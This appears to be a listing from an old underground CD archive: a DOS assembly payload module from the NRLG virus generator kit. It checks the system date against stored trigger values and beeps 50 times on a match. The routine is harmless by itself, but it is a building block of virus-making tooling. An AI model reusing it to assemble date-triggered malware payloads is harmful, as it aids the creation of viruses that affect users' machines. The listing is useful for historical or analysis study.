home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / virgen / nrlg / BEEP.N < prev    next >
Encoding:
Text File  |  1994-01-01  |  1.0 KB  |  24 lines
  1. ;---------------------------------
  2. action:                            ; 
  3. MOV AH,2AH                         ;        
  4. INT 21H                            ;get date           
  5. CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?                 
  6. JE  cont                           ;nop! fuck ret          
  7. cmp byte ptr cs:[action_dia+bp],32 ;
  8. jne no_day                         ;
  9. cont:                              ; 
  10. cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?            
  11. je set                             ;
  12. cmp byte ptr cs:[action_mes+bp],13 ;
  13. jne NO_DAY                         ;nop! fuck ret           
  14. set:                               ; 
  15. mov cx,50                          ;50 beep's!
  16. beep:                              ;beep label!
  17. mov ax,0E07h                       ; 
  18. int 10h                            ;print beep char 
  19. loop beep                          ;go!
  20. NO_DAY:                            ;             
  21. ret                                ;
  22. ;---------------------------------
  23.  
  24.